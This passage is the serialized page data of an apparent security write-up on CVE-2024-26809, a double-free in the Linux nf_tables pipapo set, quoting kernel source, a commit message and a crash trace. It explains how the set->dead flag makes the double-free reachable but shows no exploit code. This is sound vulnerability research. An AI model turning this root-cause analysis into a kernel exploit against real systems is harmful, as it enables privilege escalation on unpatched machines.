[4]\n",{"type":25,"tag":216,"props":57067,"children":57068},{"class":6916,"line":7269},[57069,57073],{"type":25,"tag":216,"props":57070,"children":57071},{"style":6967},[57072],{"type":31,"value":55453},{"type":25,"tag":216,"props":57074,"children":57075},{"style":6958},[57076],{"type":31,"value":6961},{"type":25,"tag":216,"props":57078,"children":57079},{"class":6916,"line":7290},[57080],{"type":25,"tag":216,"props":57081,"children":57082},{"emptyLinePlaceholder":16},[57083],{"type":31,"value":7636},{"type":25,"tag":216,"props":57085,"children":57086},{"class":6916,"line":7299},[57087,57092,57096,57100,57104,57108,57113],{"type":25,"tag":216,"props":57088,"children":57089},{"style":6941},[57090],{"type":31,"value":57091},"  set",{"type":25,"tag":216,"props":57093,"children":57094},{"style":6958},[57095],{"type":31,"value":17708},{"type":25,"tag":216,"props":57097,"children":57098},{"style":6941},[57099],{"type":31,"value":56632},{"type":25,"tag":216,"props":57101,"children":57102},{"style":6958},[57103],{"type":31,"value":17708},{"type":25,"tag":216,"props":57105,"children":57106},{"style":7041},[57107],{"type":31,"value":56641},{"type":25,"tag":216,"props":57109,"children":57110},{"style":6958},[57111],{"type":31,"value":57112},"(set);",{"type":25,"tag":216,"props":57114,"children":57115},{"style":6921},[57116],{"type":31,"value":57117}," // [5]\n",{"type":25,"tag":216,"props":57119,"children":57120},{"class":6916,"line":7551},[57121],{"type":25,"tag":216,"props":57122,"children":57123},{"style":6958},[57124],{"type":31,"value":13546},{"type":25,"tag":216,"props":57126,"children":57127},{"class":6916,"line":7568},[57128],{"type":25,"tag":216,"props":57129,"children":57130},{"style":6958},[57131],{"type":31,"value":7868},{"type":25,"tag":38,"props":57133,"children":57134},{},[57135,57137,57143,57145,57150,57151,57156],{"type":31,"value":57136},"Later on, the ",{"type":25,"tag":82,"props":57138,"children":57140},{"className":57139},[],[57141],{"type":31,"value":57142},"nf_tables_commit_release()",{"type":31,"value":57144}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":25,"tag":82,"props":57146,"children":57148},{"className":57147},[],[57149],{"type":31,"value":54982},{"type":31,"value":56301},{"type":25,"tag":82,"props":57152,"children":57154},{"className":57153},[],[57155],{"type":31,"value":56315},{"type":31,"value":57157}," method.",{"type":25,"tag":206,"props":57159,"children":57161},{"className":20467,"code":57160,"language":2248,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[57162],{"type":25,"tag":82,"props":57163,"children":57164},{"__ignoreMap":7},[57165,57204,57211,57218,57239,57246,57253,57260,57301,57308,57315,57336,57349,57361,57368,57375,57382,57423,57430,57458,57465,57478,57490,57531,57538,57545,57552,57610,57617,57624,57653,57660],{"type":25,"tag":216,"props":57166,"children":57167},{"class":6916,"line":6917},[57168,57172,57176,57180,57184,57188,57192,57196,57200],{"type":25,"tag":216,"props":57169,"children":57170},{"style":6930},[57171],{"type":31,"value":55007},{"type":25,"tag":216,"props":57173,"children":57174},{"style":6930},[57175],{"type":31,"value":55012},{"type":25,"tag":216,"props":57177,"children":57178},{"style":7041},[57179],{"type":31,"value":56808},{"type":25,"tag":216,"props":57181,"children":57182},{"style":6958},[57183],{"type":31,"value":1844},{"type":25,"tag":216,"props":57185,"children":57186},{"style":6930},[57187],{"type":31,"value":13351},{"type":25,"tag":216,"props":57189,"children":57190},{"style":6958},[57191],{"type":31,"value":55964},{"type":25,"tag":216,"props":57193,"children":57194},{"style":6947},[57195],{"type":31,"value":8513},{"type":25,"tag":216,"props":57197,"children":57198},{"style":6941},[57199],{"type":31,"value":55973},{"type":25,"tag":216,"props":57201,"children":57202},{"style":6958},[57203],{"type":31,"value":7101},{"type":25,"tag":216,"props":57205,"children":57206},{"class":6916,"line":6763},[57207],{"type":25,"tag":216,"props":57208,"children":57209},{"style":6958},[57210],{"type":31,"value":14830},{"type":25,"tag":216,"props":57212,"children":57213},{"class":6916,"line":6772},[57214],{"type":25,"tag":216,"props":57215,"children":57216},{"style":6958},[57217],{"type":31,"value":14269},{"type":25,"tag":216,"props":57219,"children":57220},{"class":6916,"line":6999},[57221,57226,57230,57234],{"type":25,"tag":216,"props":57222,"children":57223},{"style":7041},[57224],{"type":31,"value":57225}," schedule_work",{"type":25,"tag":216,"props":57227,"children":57228},{"style":6958},[57229],{"type":31,"value":1844},{"type":25,"tag":216,"props":57231,"children":57232},{"style":6947},[57233],{"type":31,"value":7053},{"type":25,"tag":216,"props":57235,"children":57236},{"style":6958},[57237],{"type":31,"value":57238},"trans_destroy_work);\n",{"type":25,"tag":216,"props":57240,"children":57241},{"class":6916,"line":7104},[57242],{"type":25,"tag":216,"props":57243,"children":57244},{"style":6958},[57245],{"type":31,"value":14269},{"type":25,"tag":216,"props":57247,"children":57248},{"class":6916,"line":7210},[57249],{"type":25,"tag":216,"props":57250,"children":57251},{"style":6958},[57252],{"type":31,"value":7868},{"type":25,"tag":216,"props":57254,"children":57255},{"class":6916,"line":7238},[57256],{"type":25,"tag":216,"props":57257,"children":57258},{"style":6958},[57259],{"type":31,"value":14269},{"type":25,"tag":216,"props":57261,"children":57262},{"class":6916,"line":7251},[57263,57267,57271,57276,57280,57284,57289,57293,57297],{"type":25,"tag":216,"props":57264,"children":57265},{"style":6930},[57266],{"type":31,"value":55007},{"type":25,"tag":216,"props":57268,"children":57269},{"style":6930},[57270],{"type":31,"value":55012},{"type":25,"tag":216,"props":57272,"children":57273},{"style":7041},[57274],{"type":31,"value":57275}," nf_tables_trans_destroy_work",{"type":25,"tag":216,"props":57277,"children":57278},{"style":6958},[57279],{"type":31,"value":1844},{"type":25,"tag":216,"props":57281,"children":57282},{"style":6930},[57283],{"type":31,"value":13351},{"type":25,"tag":216,"props":57285,"children":57286},{"style":6958},[57287],{"type":31,"value":57288}," work_struct ",{"type":25,"tag":216,"props":57290,"children":57291},{"style":6947},[57292],{"type":31,"value":8513},{"type":25,"tag":216,"props":57294,"children":57295},{"style":6941},[57296],{"type":31,"value":2464},{"type":25,"tag":216,"props":57298,"children":57299},{"style":6958},[57300],{"type":31,"value":7101},{"type":25,"tag":216,"props":57302,"children":57303},{"class":6916,"line":7269},[57304],{"type":25,"tag":216,"props":57305,"children":57306},{"style":6958},[57307],{"type":31,"value":14830},{"type":25,"tag":216,"props":57309,"children":57310},{"class":6916,"line":7290},[57311],{"type":25,"tag":216,"props":57312,"children":57313},{"style":6958},[57314],{"type":31,"value":14269},{"type":25,"tag":216,"props":57316,"children":57317},{"class":6916,"line":7299},[57318,57322,57327,57331],{"type":25,"tag":216,"props":57319,"children":57320},{"style":7041},[57321],{"type":31,"value":56960},{"type":25,"tag":216,"props":57323,"children":57324},{"style":6958},[57325],{"type":31,"value":57326},"(trans, next, ",{"type":25,"tag":216,"props":57328,"children":57329},{"style":6947},[57330],{"type":31,"value":7053},{"type":25,"tag":216,"props":57332,"children":57333},{"style":6958},[57334],{"type":31,"value":57335},"head, list) {\n",{"type":25,"tag":216,"props":57337,"children":57338},{"class":6916,"line":7551},[57339,57344],{"type":25,"tag":216,"props":57340,"children":57341},{"style":7041},[57342],{"type":31,"value":57343},"  nft_trans_list_del",{"type":25,"tag":216,"props":57345,"children":57346},{"style":6958},[57347],{"type":31,"value":57348},"(trans);\n",{"type":25,"tag":216,"props":57350,"children":57351},{"class":6916,"line":7568},[57352,57357],{"type":25,"tag":216,"props":57353,"children":57354},{"style":7041},[57355],{"type":31,"value":57356},"  nft_commit_release",{"type":25,"tag":216,"props":57358,"children":57359},{"style":6958},[57360],{"type":31,"value":57348},{"type":25,"tag":216,"props":57362,"children":57363},{"class":6916,"line":7585},[57364],{"type":25,"tag":216,"props":57365,"children":57366},{"style":6958},[57367],{"type":31,"value":13546},{"type":25,"tag":216,"props":57369,"children":57370},{"class":6916,"line":7598},[57371],{"type":25,"tag":216,"props":57372,"children":57373},{"style":6958},[57374],{"type":31,"value":7868},{"type":25,"tag":216,"props":57376,"children":57377},{"class":6916,"line":7607},[57378],{"type":25,"tag":216,"props":57379,"children":57380},{"style":6958},[57381],{"type":31,"value":14269},{"type":25,"tag":216,"props":57383,"children":57384},{"class":6916,"line":7630},[57385,57389,57393,57398,57402,57406,57411,57415,57419],{"type":25,"tag":216,"props":57386,"children":57387},{"style":6930},[57388],{"type":31,"value":55007},{"type":25,"tag":216,"props":57390,"children":57391},{"style":6930},[57392],{"type":31,"value":55012},{"type":25,"tag":216,"props":57394,"children":57395},{"style":7041},[57396],{"type":31,"value":57397}," nft_commit_release",{"type":25,"tag":216,"props":57399,"children":57400},{"style":6958},[57401],{"type":31,"value":1844},{"type":25,"tag":216,"props":57403,"children":57404},{"style":6930},[57405],{"type":31,"value":13351},{"type":25,"tag":216,"props":57407,"children":57408},{"style":6958},[57409],{"type":31,"value":57410}," nft_trans ",{"type":25,"tag":216,"props":57412,"children":57413},{"style":6947},[57414],{"type":31,"value":8513},{"type":25,"tag":216,"props":57416,"children":57417},{"style":6941},[57418],{"type":31,"value":56523},{"type":25,"tag":216,"props":57420,"children":57421},{"style":6958},[57422],{"type":31,"value":7101},{"type":25,"tag":216,"props":57424,"children":57425},{"class":6916,"line":7639},[57426],{"type":25,"tag":216,"props":57427,"children":57428},{"style":6958},[57429],{"type":31,"value":14830},{"type":25,"tag":216,"props":57431,"children":57432},{"class":6916,"line":7648},[57433,57438,57442,57446,57450,57454],{"type":25,"tag":216,"props":57434,"children":57435},{"style":6967},[57436],{"type":31,"value":57437}," switch",{"type":25,"tag":216,"props":57439,"children":57440},{"style":6958},[57441],{"type":31,"value":7010},{"type":25,"tag":216,"props":57443,"children":57444},{"style":6941},[57445],{"type":31,"value":56523},{"type":25,"tag":216,"props":57447,"children":57448},{"style":6958},[57449],{"type":31,"value":17708},{"type":25,"tag":216,"props":57451,"children":57452},{"style":6941},[57453],{"type":31,"value":56561},{"type":25,"tag":216,"props":57455,"children":57456},{"style":6958},[57457],{"type":31,"value":18755},{"type":25,"tag":216,"props":57459,"children":57460},{"class":6916,"line":7716},[57461],{"type":25,"tag":216,"props":57462,"children":57463},{"style":6958},[57464],{"type":31,"value":14269},{"type":25,"tag":216,"props":57466,"children":57467},{"class":6916,"line":7724},[57468,57473],{"type":25,"tag":216,"props":57469,"children":57470},{"style":6967},[57471],{"type":31,"value":57472}," case",{"type":25,"tag":216,"props":57474,"children":57475},{"style":6958},[57476],{"type":31,"value":57477}," NFT_MSG_DELSET:\n",{"type":25,"tag":216,"props":57479,"children":57480},{"class":6916,"line":7754},[57481,57485],{"type":25,"tag":216,"props":57482,"children":57483},{"style":6967},[57484],{"type":31,"value":57472},{"type":25,"tag":216,"props":57486,"children":57487},{"style":6958},[57488],{"type":31,"value":57489}," NFT_MSG_DESTROYSET:\n",{"type":25,"tag":216,"props":57491,"children":57492},{"class":6916,"line":7762},[57493,57498,57502,57506,57510,57514,57518,57522,57526],{"type":25,"tag":216,"props":57494,"children":57495},{"style":7041},[57496],{"type":31,"value":57497},"  nft_set_destroy",{"type":25,"tag":216,"props":57499,"children":57500},{"style":6958},[57501],{"type":31,"value":1844},{"type":25,"tag":216,"props":57503,"children":57504},{"style":6947},[57505],{"type":31,"value":7053},{"type":25,"tag":216,"props":57507,"children":57508},{"style":6958},[57509],{"type":31,"value":56523},{"type":25,"tag":216,"props":57511,"children":57512},{"style":6947},[57513],{"type":31,"value":17708},{"type":25,"tag":216,"props":57515,"children":57516},{"style":6941},[57517],{"type":31,"value":24234},{"type":25,"tag":216,"props":57519,"children":57520},{"style":6958},[57521],{"type":31,"value":7020},{"type":25,"tag":216,"props":57523,"children":57524},{"style":7041},[57525],{"type":31,"value":56489},{"type":25,"tag":216,"props":57527,"children":57528},{"style":6958},[57529],{"type":31,"value":57530},"(trans));\n",{"type":25,"tag":216,"props":57532,"children":57533},{"class":6916,"line":7794},[57534],{"type":25,"tag":216,"props":57535,"children":57536},{"style":6958},[57537],{"type":31,"value":14269},{"type":25,"tag":216,"props":57539,"children":57540},{"class":6916,"line":7802},[57541],{"type":25,"tag":216,"props":57542,"children":57543},{"style":6958},[57544],{"type":31,"value":7868},{"type":25,"tag":216,"props":57546,"children":57547},{"class":6916,"line":7862},[57548],{"type":25,"tag":216,"props":57549,"children":57550},{"style":6958},[57551],{"type":31,"value":14269},{"type":25,"tag":216,"props":57553,"children":57554},{"class":6916,"line":12995},[57555,57559,57563,57568,57572,57576,57580,57584,57588,57593,57597,57601,57605],{"type":25,"tag":216,"props":57556,"children":57557},{"style":6930},[57558],{"type":31,"value":55007},{"type":25,"tag":216,"props":57560,"children":57561},{"style":6930},[57562],{"type":31,"value":55012},{"type":25,"tag":216,"props":57564,"children":57565},{"style":7041},[57566],{"type":31,"value":57567}," nft_set_destroy",{"type":25,"tag":216,"props":57569,"children":57570},{"style":6958},[57571],{"type":31,"value":1844},{"type":25,"tag":216,"props":57573,"children":57574},{"style":6930},[57575],{"type":31,"value":13605},{"type":25,"tag":216,"props":57577,"children":57578},{"style":6930},[57579],{"type":31,"value":25105},{"type":25,"tag":216,"props":57581,"children":57582},{"style":6958},[57583],{"type":31,"value":55034},{"type":25,"tag":216,"props":57585,"children":57586},{"style":6947},[57587],{"type":31,"value":8513},{"type":25,"tag":216,"props":57589,"children":57590},{"style":6958},[57591],{"type":31,"value":57592},"ctx, ",{"type":25,"tag":216,"props":57594,"children":57595},{"style":6930},[57596],{"type":31,"value":13351},{"type":25,"tag":216,"props":57598,"children":57599},{"style":6958},[57600],{"type":31,"value":55062},{"type":25,"tag":216,"props":57602,"children":57603},{"style":6947},[57604],{"type":31,"value":8513},{"type":25,"tag":216,"props":57606,"children":57607},{"style":6958},[57608],{"type":31,"value":57609},"set)\n",{"type":25,"tag":216,"props":57611,"children":57612},{"class":6916,"line":13013},[57613],{"type":25,"tag":216,"props":57614,"children":57615},{"style":6958},[57616],{"type":31,"value":14830},{"type":25,"tag":216,"props":57618,"children":57619},{"class":6916,"line":13058},[57620],{"type":25,"tag":216,"props":57621,"children":57622},{"style":6958},[57623],{"type":31,"value":14269},{"type":25,"tag":216,"props":57625,"children":57626},{"class":6916,"line":13164},[57627,57631,57635,57639,57643,57648],{"type":25,"tag":216,"props":57628,"children":57629},{"style":6941},[57630],{"type":31,"value":57048},{"type":25,"tag":216,"props":57632,"children":57633},{"style":6958},[57634],{"type":31,"value":17708},{"type":25,"tag":216,"props":57636,"children":57637},{"style":6941},[57638],{"type":31,"value":56632},{"type":25,"tag":216,"props":57640,"children":57641},{"style":6958},[57642],{"type":31,"value":17708},{"type":25,"tag":216,"props":57644,"children":57645},{"style":7041},[57646],{"type":31,"value":57647},"destroy",{"type":25,"tag":216,"props":57649,"children":57650},{"style":6958},[57651],{"type":31,"value":57652},"(ctx, set);\n",{"type":25,"tag":216,"props":57654,"children":57655},{"class":6916,"line":27449},[57656],{"type":25,"tag":216,"props":57657,"children":57658},{"style":6958},[57659],{"type":31,"value":14269},{"type":25,"tag":216,"props":57661,"children":57662},{"class":6916,"line":27484},[57663],{"type":25,"tag":216,"props":57664,"children":57665},{"style":6958},[57666],{"type":31,"value":7868},{"type":25,"tag":38,"props":57668,"children":57669},{},[57670,57672,57677,57679,57684,57686,57692,57694,57699,57701,57706,57708,57712,57714,57719,57720,57724,57726,57732],{"type":31,"value":57671},"It may appear as if it would be impossible to make ",{"type":25,"tag":82,"props":57673,"children":57675},{"className":57674},[],[57676],{"type":31,"value":54936},{"type":31,"value":57678}," true in the release step because the ",{"type":25,"tag":82,"props":57680,"children":57682},{"className":57681},[],[57683],{"type":31,"value":56307},{"type":31,"value":57685}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":25,"tag":82,"props":57687,"children":57689},{"className":57688},[],[57690],{"type":31,"value":57691},"set->dead",{"type":31,"value":57693}," flag. If a ",{"type":25,"tag":82,"props":57695,"children":57697},{"className":57696},[],[57698],{"type":31,"value":54982},{"type":31,"value":57700}," was marked for deletion, it receives the ",{"type":25,"tag":82,"props":57702,"children":57704},{"className":57703},[],[57705],{"type":31,"value":57691},{"type":31,"value":57707}," flag ",{"type":25,"tag":216,"props":57709,"children":57710},{},[57711],{"type":31,"value":331},{"type":31,"value":57713},". If this flag is set, then the commit path will skip any commitments to this ",{"type":25,"tag":82,"props":57715,"children":57717},{"className":57716},[],[57718],{"type":31,"value":54982},{"type":31,"value":10403},{"type":25,"tag":216,"props":57721,"children":57722},{},[57723],{"type":31,"value":21480},{"type":31,"value":57725},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":25,"tag":82,"props":57727,"children":57729},{"className":57728},[],[57730],{"type":31,"value":57731},"priv ->dirty",{"type":31,"value":57733}," flag is not cleared when it should have been.",{"type":25,"tag":26,"props":57735,"children":57737},{"id":57736},"tracing-the-guilty-commit",[57738],{"type":31,"value":57739},"Tracing the guilty commit",{"type":25,"tag":38,"props":57741,"children":57742},{},[57743,57745,57752,57754,57760,57762,57767,57769,57775],{"type":31,"value":57744},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":25,"tag":162,"props":57746,"children":57749},{"href":57747,"rel":57748},"https://ubuntu.com/security/CVE-2024-26809",[166],[57750],{"type":31,"value":57751},"advisories",{"type":31,"value":57753}," about this vulnerability will say it was introduced by this ",{"type":25,"tag":162,"props":57755,"children":57758},{"href":57756,"rel":57757},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[166],[57759],{"type":31,"value":56641},{"type":31,"value":57761},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":25,"tag":82,"props":57763,"children":57765},{"className":57764},[],[57766],{"type":31,"value":57691},{"type":31,"value":57768}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":25,"tag":162,"props":57770,"children":57773},{"href":57771,"rel":57772},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[166],[57774],{"type":31,"value":56641},{"type":31,"value":179},{"type":25,"tag":38,"props":57777,"children":57778},{},[57779],{"type":31,"value":57780},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":25,"tag":206,"props":57782,"children":57786},{"className":57783,"code":57784,"language":57785,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[57787],{"type":25,"tag":82,"props":57788,"children":57789},{"__ignoreMap":7},[57790,57798,57806,57813,57821,57829,57836,57844,57851,57859,57867,57874,57882,57890,57898,57906,57914,57922,57930,57938,57946,57953,57961,57969,57976,57984,57992,58000,58008,58016,58023,58031,58039],{"type":25,"tag":216,"props":57791,"children":57792},{"class":6916,"line":6917},[57793],{"type":25,"tag":216,"props":57794,"children":57795},{},[57796],{"type":31,"value":57797},"New elements that reside in the clone are not released in case that the\n",{"type":25,"tag":216,"props":57799,"children":57800},{"class":6916,"line":6763},[57801],{"type":25,"tag":216,"props":57802,"children":57803},{},[57804],{"type":31,"value":57805},"transaction is aborted.\n",{"type":25,"tag":216,"props":57807,"children":57808},{"class":6916,"line":6772},[57809],{"type":25,"tag":216,"props":57810,"children":57811},{"emptyLinePlaceholder":16},[57812],{"type":31,"value":7636},{"type":25,"tag":216,"props":57814,"children":57815},{"class":6916,"line":6999},[57816],{"type":25,"tag":216,"props":57817,"children":57818},{},[57819],{"type":31,"value":57820},"[16302.231754] ------------[ cut here ]------------\n",{"type":25,"tag":216,"props":57822,"children":57823},{"class":6916,"line":7104},[57824],{"type":25,"tag":216,"props":57825,"children":57826},{},[57827],{"type":31,"value":57828},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":216,"props":57830,"children":57831},{"class":6916,"line":7210},[57832],{"type":25,"tag":216,"props":57833,"children":57834},{},[57835],{"type":31,"value":14269},{"type":25,"tag":216,"props":57837,"children":57838},{"class":6916,"line":7238},[57839],{"type":25,"tag":216,"props":57840,"children":57841},{},[57842],{"type":31,"value":57843},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":25,"tag":216,"props":57845,"children":57846},{"class":6916,"line":7251},[57847],{"type":25,"tag":216,"props":57848,"children":57849},{},[57850],{"type":31,"value":14269},{"type":25,"tag":216,"props":57852,"children":57853},{"class":6916,"line":7269},[57854],{"type":25,"tag":216,"props":57855,"children":57856},{},[57857],{"type":31,"value":57858},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":216,"props":57860,"children":57861},{"class":6916,"line":7290},[57862],{"type":25,"tag":216,"props":57863,"children":57864},{},[57865],{"type":31,"value":57866},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":25,"tag":216,"props":57868,"children":57869},{"class":6916,"line":7299},[57870],{"type":25,"tag":216,"props":57871,"children":57872},{},[57873],{"type":31,"value":14269},{"type":25,"tag":216,"props":57875,"children":57876},{"class":6916,"line":7551},[57877],{"type":25,"tag":216,"props":57878,"children":57879},{},[57880],{"type":31,"value":57881},"[16302.231917] Call Trace:\n",{"type":25,"tag":216,"props":57883,"children":57884},{"class":6916,"line":7568},[57885],{"type":25,"tag":216,"props":57886,"children":57887},{},[57888],{"type":31,"value":57889},"[16302.231919]  \u003CTASK>\n",{"type":25,"tag":216,"props":57891,"children":57892},{"class":6916,"line":7585},[57893],{"type":25,"tag":216,"props":57894,"children":57895},{},[57896],{"type":31,"value":57897},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":25,"tag":216,"props":57899,"children":57900},{"class":6916,"line":7598},[57901],{"type":25,"tag":216,"props":57902,"children":57903},{},[57904],{"type":31,"value":57905},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":25,"tag":216,"props":57907,"children":57908},{"class":6916,"line":7607},[57909],{"type":25,"tag":216,"props":57910,"children":57911},{},[57912],{"type":31,"value":57913},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":25,"tag":216,"props":57915,"children":57916},{"class":6916,"line":7630},[57917],{"type":25,"tag":216,"props":57918,"children":57919},{},[57920],{"type":31,"value":57921},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":25,"tag":216,"props":57923,"children":57924},{"class":6916,"line":7639},[57925],{"type":25,"tag":216,"props":57926,"children":57927},{},[57928],{"type":31,"value":57929},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":25,"tag":216,"props":57931,"children":57932},{"class":6916,"line":7648},[57933],{"type":25,"tag":216,"props":57934,"children":57935},{},[57936],{"type":31,"value":57937},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":25,"tag":216,"props":57939,"children":57940},{"class":6916,"line":7716},[57941],{"type":25,"tag":216,"props":57942,"children":57943},{},[57944],{"type":31,"value":57945},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":25,"tag":216,"props":57947,"children":57948},{"class":6916,"line":7724},[57949],{"type":25,"tag":216,"props":57950,"children":57951},{"emptyLinePlaceholder":16},[57952],{"type":31,"value":7636},{"type":25,"tag":216,"props":57954,"children":57955},{"class":6916,"line":7754},[57956],{"type":25,"tag":216,"props":57957,"children":57958},{},[57959],{"type":31,"value":57960},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":25,"tag":216,"props":57962,"children":57963},{"class":6916,"line":7762},[57964],{"type":25,"tag":216,"props":57965,"children":57966},{},[57967],{"type":31,"value":57968},"elements in the lookup tables.\n",{"type":25,"tag":216,"props":57970,"children":57971},{"class":6916,"line":7794},[57972],{"type":25,"tag":216,"props":57973,"children":57974},{"emptyLinePlaceholder":16},[57975],{"type":31,"value":7636},{"type":25,"tag":216,"props":57977,"children":57978},{"class":6916,"line":7802},[57979],{"type":25,"tag":216,"props":57980,"children":57981},{},[57982],{"type":31,"value":57983},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":25,"tag":216,"props":57985,"children":57986},{"class":6916,"line":7862},[57987],{"type":25,"tag":216,"props":57988,"children":57989},{},[57990],{"type":31,"value":57991},"cloned matching data if priv->dirty is set, because that means that\n",{"type":25,"tag":216,"props":57993,"children":57994},{"class":6916,"line":12995},[57995],{"type":25,"tag":216,"props":57996,"children":57997},{},[57998],{"type":31,"value":57999},"cloned data might point to additional elements we did not commit to the\n",{"type":25,"tag":216,"props":58001,"children":58002},{"class":6916,"line":13013},[58003],{"type":25,"tag":216,"props":58004,"children":58005},{},[58006],{"type":31,"value":58007},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":25,"tag":216,"props":58009,"children":58010},{"class":6916,"line":13058},[58011],{"type":25,"tag":216,"props":58012,"children":58013},{},[58014],{"type":31,"value":58015},"to it).\"\n",{"type":25,"tag":216,"props":58017,"children":58018},{"class":6916,"line":13164},[58019],{"type":25,"tag":216,"props":58020,"children":58021},{"emptyLinePlaceholder":16},[58022],{"type":31,"value":7636},{"type":25,"tag":216,"props":58024,"children":58025},{"class":6916,"line":27449},[58026],{"type":25,"tag":216,"props":58027,"children":58028},{},[58029],{"type":31,"value":58030},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":25,"tag":216,"props":58032,"children":58033},{"class":6916,"line":27484},[58034],{"type":25,"tag":216,"props":58035,"children":58036},{},[58037],{"type":31,"value":58038},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":25,"tag":216,"props":58040,"children":58041},{"class":6916,"line":27492},[58042],{"type":25,"tag":216,"props":58043,"children":58044},{},[58045],{"type":31,"value":58046},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":25,"tag":38,"props":58048,"children":58049},{},[58050,58052,58057,58059,58064,58066,58071,58073,58078],{"type":31,"value":58051},"As we previously discussed, committing changes to a pipapo ",{"type":25,"tag":82,"props":58053,"children":58055},{"className":58054},[],[58056],{"type":31,"value":54982},{"type":31,"value":58058}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":25,"tag":82,"props":58060,"children":58062},{"className":58061},[],[58063],{"type":31,"value":56307},{"type":31,"value":58065}," method by simply replacing the ",{"type":25,"tag":82,"props":58067,"children":58069},{"className":58068},[],[58070],{"type":31,"value":54982},{"type":31,"value":58072},"s match object with its updated clone. So checking the ",{"type":25,"tag":82,"props":58074,"children":58076},{"className":58075},[],[58077],{"type":31,"value":54936},{"type":31,"value":58079}," flag and then calling free again ensures we also free uncommitted changes.",{"type":25,"tag":38,"props":58081,"children":58082},{},[58083,58085,58090],{"type":31,"value":58084},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":25,"tag":82,"props":58086,"children":58088},{"className":58087},[],[58089],{"type":31,"value":54982},{"type":31,"value":58091},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these 